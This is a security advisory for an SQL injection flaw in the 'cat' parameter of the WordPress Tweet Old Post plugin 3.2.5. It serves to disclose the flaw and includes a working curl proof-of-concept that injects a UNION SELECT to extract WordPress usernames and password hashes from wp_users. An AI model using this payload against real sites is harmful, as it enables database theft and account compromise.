WordPress Tweet Old Post 'cat' Parameter SQL Injection Vulnerability

Bugtraq ID:	49463
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 05 2011 12:00AM
Updated:	Sep 05 2011 12:00AM
Credit:	sherl0ck
Vulnerable:	WordPress Tweet Old Post 3.2.5
Not Vulnerable:

WordPress Tweet Old Post 'cat' Parameter SQL Injection Vulnerability

The WordPress Tweet Old Post plug-in for Wordpress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Tweet Old Post versions 3.2.5 and prior are vulnerable.

WordPress Tweet Old Post 'cat' Parameter SQL Injection Vulnerability

The following example data is available:

curl --cookie "[COOKIE]" --data "delids=1&selFilter=excluded&cat=1) UNION ALL SELECT USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1" http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

WordPress Tweet Old Post 'cat' Parameter SQL Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WordPress Tweet Old Post 'cat' Parameter SQL Injection Vulnerability

References:

• Product Plugin (Wordpress)